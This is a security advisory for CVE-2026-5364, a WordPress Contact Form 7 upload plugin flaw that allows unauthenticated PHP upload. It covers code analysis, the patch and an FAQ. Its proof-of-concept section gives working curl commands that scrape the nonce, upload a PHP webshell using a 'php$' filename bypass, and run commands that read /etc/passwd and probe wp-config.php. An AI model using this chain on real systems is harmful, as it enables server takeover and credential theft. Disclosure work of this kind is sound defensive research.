CVE-2026-5364: Unauthenticated Arbitrary PHP Upload in CF7 Drag and Drop Plugin
Table of Contents
CVE-2026-5364 is a CVSS 8.1 (High) Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7 WordPress plugin. The flaw lets any unauthenticated visitor bypass the plugin’s file type check. By naming a file shell.php$, WordPress strips the $ at save time — turning it into an executable PHP file. The attacker receives the full file URL in the server’s response and can use it to run code on the server.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Drag and Drop File Upload for Contact Form 7 |
| Plugin Slug | drag-and-drop-file-upload-for-contact-form-7 |
| CVE ID | CVE-2026-5364 |
| CVSS Score | 8.1 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated Arbitrary File Upload via sanitize_file_name Bypass |
| Affected Versions | <= 1.1.3 |
| Patched Version | 1.1.4 |
| Published | April 23, 2026 |
| Researcher | Thomas Sanzey |
| Wordfence Advisory | Link |
Description
The Drag and Drop File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file upload in versions up to, and including, 1.1.3. The plugin reads the file extension from the uploaded filename before cleaning it. It also lets the attacker set the type parameter — the list of allowed extensions — instead of using admin-configured values. This means the plugin validates the raw extension (php$) but saves the file with the cleaned extension (php). WordPress strips the $ at save time, so the file lands on disk as a PHP file. This makes it possible for unauthenticated attackers to upload arbitrary PHP files and potentially achieve remote code execution. However, an .htaccess file and random filenames limit the real-world impact.
Technical Analysis
Vulnerable Code Path
The vulnerability spans two files: frontend/index.php and backend/index.php.
Step 1: Nonce Exposed to All Frontend Visitors
File: frontend/index.php, line 15
wp_localize_script('cf7_file_uploads', 'cf7_file_uploads', array(
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('cf7_file_upload') // ← publicly visible
));
The nonce for the upload AJAX action is embedded in the page source of every page containing a CF7 form with a file upload field. Any visitor — authenticated or not — receives a valid cf7_file_upload nonce in the rendered HTML.
Step 2: Upload AJAX Handler — Three Chained Flaws
File: backend/index.php, lines 154–193 (cf7_file_uploads())
function cf7_file_uploads() {
// Nonce verified — but nonce is public (see Step 1)
if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'cf7_file_upload' ) ) {
$file = $_FILES["file"];
$size = sanitize_text_field( $_REQUEST["size"] );
$type = sanitize_text_field( $_REQUEST["type"] ); // ← FLAW 1: attacker-controlled
$type_upload = sanitize_text_field( $_REQUEST["type_upload"] );
$uploads_dir = $this->get_ensure_upload_dir($type_upload);
// FLAW 2: extension extracted from ORIGINAL (unsanitized) filename
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$filename = uniqid() . '.' . $file_extension;
// FLAW 3: wp_unique_filename calls sanitize_file_name() internally,
// stripping '$' — so 'abc123.php$' becomes 'abc123.php'
$filename = wp_unique_filename( $uploads_dir, $filename );
$new_file = trailingslashit( $uploads_dir ) . $filename;
// Validates using the UNSANITIZED extension ('php$') and the
// attacker-controlled $type allowlist — passes for 'php$'
if ( ! $this->is_file_type_valid( $type, $file ) ) {
wp_send_json( array("status"=>"not","text"=>"...") );
die();
}
// File moves to disk as '<uniqid>.php' — a PHP file
@ move_uploaded_file( $file['tmp_name'], $new_file );
}
}
Step 3: is_file_type_valid() — Extension Check on Unsanitized Name
File: backend/index.php, lines 142–153
private function is_file_type_valid( $file_types, $file ) {
if ( $file_types == "" ) {
$file_types = 'jpg|jpeg|png|gif|...';
}
// Uses pathinfo() on the ORIGINAL filename — 'shell.php$' → 'php$'
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$file_types_meta = explode( '|', $file_types );
$file_types_meta = array_map( 'trim', $file_types_meta );
$file_types_meta = array_map( 'strtolower', $file_types_meta );
$file_extension = strtolower( $file_extension );
// 'php$' is NOT in the blacklist (which only has 'php', 'php3', ... without '$')
// 'php$' IS in the attacker-supplied allowlist ['php$']
return ( in_array( $file_extension, $file_types_meta )
&& ! in_array( $file_extension, $this->get_blacklist_file_ext() ) );
}
The blacklist (lines 33–74) contains php, php3, php4, php5, etc. — all without trailing special characters. php$ matches none of them.
Root Cause
Three independent weaknesses combine to create the exploit:
-
Attacker-controlled allowlist: The
typePOST parameter — which is the pipe-separated list of permitted file extensions — is read directly from user input. An attacker can supplyphp$as a permitted type. -
Extension extracted before sanitization:
pathinfo($file['name'], PATHINFO_EXTENSION)is called on the raw, uploaded filename (e.g.,shell.php$), yieldingphp$. This raw extension is what the blacklist comparison runs against. -
Sanitization applied only at save time:
wp_unique_filename()internally callssanitize_file_name(), which strips special characters like$. So the file that passes validation as<uniqid>.php$is written to disk as<uniqid>.php.
Validation and file-save use different representations of the same filename. The validation uses the unsanitized extension and the save uses the sanitized one.
Why Controls Failed
Blacklist: The blacklist compares against the raw extension php$, not php. Since php$ is absent from the blacklist, the check passes.
Nonce: wp_localize_script publishes the nonce (cf7_file_upload) to every visitor. It provides CSRF protection, not authentication. Any anonymous visitor can read a valid nonce from the page source.
Name randomization: uniqid() generates a timestamp-based prefix. The attacker learns the full URL from the AJAX success response, so name randomization does not prevent exploitation.
.htaccess: The upload directory contains an .htaccess that sets Content-Disposition: attachment on all files. On Apache this prevents direct PHP execution in many configurations, but this protection is absent on Nginx, LiteSpeed, and other servers.
Attack Impact
An unauthenticated attacker can upload a PHP webshell to the WordPress uploads directory and receive the full public URL from the AJAX response. On Apache, the .htaccess may block direct PHP execution. On Nginx, LiteSpeed, and most managed hosting environments it does not. There, the attacker can run any command on the server with the web user’s privileges — achieving full Remote Code Execution (RCE).
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
drag-and-drop-file-upload-for-contact-form-7plugin installed and activated - Plugin version <= 1.1.3
- A published page with a Contact Form 7 form containing a
[file_uploads]shortcode field - Server not blocking PHP execution in the uploads directory via
.htaccess(e.g., Nginx)
Step-by-Step Reproduction
Step 1: Extract the nonce from any page with a CF7 file upload form
Visit any frontend page that loads the CF7 file upload field. The nonce is embedded in the <script> block that initializes the cf7_file_uploads JavaScript object.
TARGET_URL="https://example.com/contact/"
NONCE=$(curl -s "$TARGET_URL" \
| grep -oP '"nonce"\s*:\s*"\K[a-f0-9]+')
echo "Nonce: $NONCE"
Step 2: Create a PHP webshell payload
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php$
The filename must end with $ (or another character stripped by sanitize_file_name) so that:
pathinfo('shell.php$', PATHINFO_EXTENSION)returnsphp$(passes the blacklist)- After
wp_unique_filename/sanitize_file_namethe saved file becomes<id>.php
Step 3: Upload the webshell via the AJAX endpoint
AJAXURL="https://example.com/wp-admin/admin-ajax.php"
RESPONSE=$(curl -s -X POST "$AJAXURL" \
-F "action=cf7_file_uploads" \
-F "nonce=$NONCE" \
-F "type=php\$" \
-F "size=10" \
-F "type_upload=0" \
-F "file=@/tmp/shell.php\$;filename=shell.php\$;type=application/x-php")
echo "Server response: $RESPONSE"
The type=php$ parameter causes is_file_type_valid() to accept the file:
php$is in the attacker-supplied allowlist (thetypevalue)php$is not in the plugin’s hardcoded blacklist
Step 4: Extract the uploaded file URL
SHELL_URL=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('text',''))")
echo "Shell URL: $SHELL_URL"
The response is: {"status":"ok","text":"https://example.com/wp-content/uploads/cf7-uploads-custom/<uniqid>.php"}
Step 5: Execute commands via the webshell
curl "$SHELL_URL?cmd=id"
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl "$SHELL_URL?cmd=cat+/etc/passwd"
curl "$SHELL_URL?cmd=ls+-la+/var/www/html/wp-config.php"
Expected Result
WordPress writes a PHP file to wp-content/uploads/cf7-uploads-custom/<uniqid>.php. On servers where the upload directory .htaccess is not respected, the attacker achieves unauthenticated Remote Code Execution.
Verification
- Check if the file exists:
curl -I "$SHELL_URL"— expect HTTP 200 - Execute a command:
curl "$SHELL_URL?cmd=id"— expect user/group output - Confirm in the WordPress uploads directory on the server:
ls wp-content/uploads/cf7-uploads-custom/*.php
Patch Analysis
What Changed
The critical changes are in backend/index.php:
- Upload delegated to
wp_handle_upload()(replaces manualmove_uploaded_file()) type_uploadsanitized withabsint()(wassanitize_text_field()allowing type juggling)wp_send_json_error()used consistently (waswp_send_json()with manualdie())
What the Fix Does
The core fix replaces the custom-built filename code and move_uploaded_file() with WordPress’s built-in wp_handle_upload():
// Patched version (backend/index.php ~line 183-201)
if (!function_exists('wp_handle_upload')) {
require_once(ABSPATH . 'wp-admin/includes/file.php');
}
$uploads_dir = $this->get_ensure_upload_dir($type_upload);
$upload_dir_filter = function ($uploads) use ($uploads_dir) {
$uploads['path'] = $uploads_dir;
$uploads['basedir'] = $uploads_dir;
return $uploads;
};
add_filter('upload_dir', $upload_dir_filter);
$movefile = wp_handle_upload($file, array('test_form' => false));
remove_filter('upload_dir', $upload_dir_filter);
wp_handle_upload() internally calls wp_check_filetype_and_ext(), which:
- Sanitizes the filename first, then validates the sanitized extension — eliminating the mismatch between validation and save
- Checks the real MIME type of the file using
finfoormime_content_type()— a file containing PHP code is detected as such regardless of its extension - Rejects PHP-related types that WordPress does not allow by default, without relying on a developer-maintained blacklist
The bypass worked because the old code validated the raw extension (php$) but saved the cleaned one (php). wp_handle_upload() closes this gap by handling both steps on the same final filename.
Residual risk: In the patched version, is_file_type_valid() still reads $type_limit from POST and still uses pathinfo() on the raw filename. The custom check alone can still be bypassed. However, wp_handle_upload() acts as a strong second-layer defence that blocks PHP uploads on its own.
Code Diff (Key Changes)
-function cf7_file_uploads(){
- if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ), 'cf7_file_upload' ) ) {
- $file = $_FILES["file"];
- $size = sanitize_text_field( $_REQUEST["size"] );
- $type = sanitize_text_field( $_REQUEST["type"] ); // ← attacker-controlled allowlist
- $type_upload = sanitize_text_field( $_REQUEST["type_upload"] );
- $uploads_dir = $this->get_ensure_upload_dir($type_upload);
- $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION ); // ← unsanitized
- $filename = uniqid() . '.' . $file_extension;
- $filename = wp_unique_filename( $uploads_dir, $filename ); // ← sanitizes here (strips '$')
- $new_file = trailingslashit( $uploads_dir ) . $filename;
- if(!$this->is_file_type_valid($type,$file)){ // ← validates 'php$', saves 'php'
- ...die();
- }
- @ move_uploaded_file( $file['tmp_name'], $new_file ); // ← saves .php file
+public function cf7_file_uploads() {
+ check_ajax_referer('cf7_file_upload', 'nonce');
+ $file = $_FILES['file'];
+ $size_limit = isset($_POST['size']) ? sanitize_text_field(wp_unslash($_POST['size'])) : '';
+ $type_limit = isset($_POST['type']) ? sanitize_text_field(wp_unslash($_POST['type'])) : '';
+ $type_upload = isset($_POST['type_upload']) ? absint($_POST['type_upload']) : 0;
+ if (!$this->is_file_type_valid($type_limit, $file)) { ... }
+ if (!$this->is_file_size_valid($size_limit, $file)) { ... }
+ $uploads_dir = $this->get_ensure_upload_dir($type_upload);
+ add_filter('upload_dir', $upload_dir_filter);
+ $movefile = wp_handle_upload($file, array('test_form' => false)); // ← validates & saves safely
+ remove_filter('upload_dir', $upload_dir_filter);
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability discovered and reported by Thomas Sanzey |
| April 23, 2026 | Publicly disclosed by Wordfence |
| April 23, 2026 | Patched version 1.1.4 released |
Remediation
Update the drag-and-drop-file-upload-for-contact-form-7 plugin to version 1.1.4 or later.
References
- backend/index.php L181 (trunk)
- backend/index.php L181 (tag 1.1.2)
- backend/index.php L158 (trunk)
- backend/index.php L158 (tag 1.1.2)
- backend/index.php L147 (trunk)
- backend/index.php L147 (tag 1.1.2)
- frontend/index.php L15 (trunk)
- frontend/index.php L15 (tag 1.1.2)
- SVN changeset (patch)
Frequently Asked Questions
What is CVE-2026-5364?
CVE-2026-5364 is a CVSS 8.1 High severity unauthenticated arbitrary file upload vulnerability in the Drag and Drop File Upload for Contact Form 7 WordPress plugin that allows any visitor to upload a PHP webshell and potentially execute code on the server.
Which versions of Drag and Drop File Upload for Contact Form 7 are affected by CVE-2026-5364?
All versions up to and including 1.1.3 are vulnerable. Version 1.1.4 contains the fix and is safe to use.
What can an attacker do with CVE-2026-5364?
An attacker can upload a PHP webshell to the WordPress uploads directory and receive the full public URL from the server's response. On servers that do not block PHP execution in the uploads directory, such as Nginx or LiteSpeed, the attacker can run arbitrary commands with the web server's privileges, achieving full Remote Code Execution.
Does an attacker need to be logged in to exploit CVE-2026-5364?
No login is required. The upload nonce is embedded in the page source of any page containing a CF7 file upload form, so any unauthenticated visitor can read a valid nonce and send the malicious upload request.
How do I fix CVE-2026-5364 in Drag and Drop File Upload for Contact Form 7?
Update the plugin to version 1.1.4 or later through your WordPress admin dashboard under Plugins, then Updates. No other configuration change is needed.
Has Drag and Drop File Upload for Contact Form 7 been patched for CVE-2026-5364?
Yes. Version 1.1.4 was released on April 23, 2026 and resolves this vulnerability by replacing the custom file-save logic with WordPress's built-in wp_handle_upload function, which validates and sanitizes the filename before saving.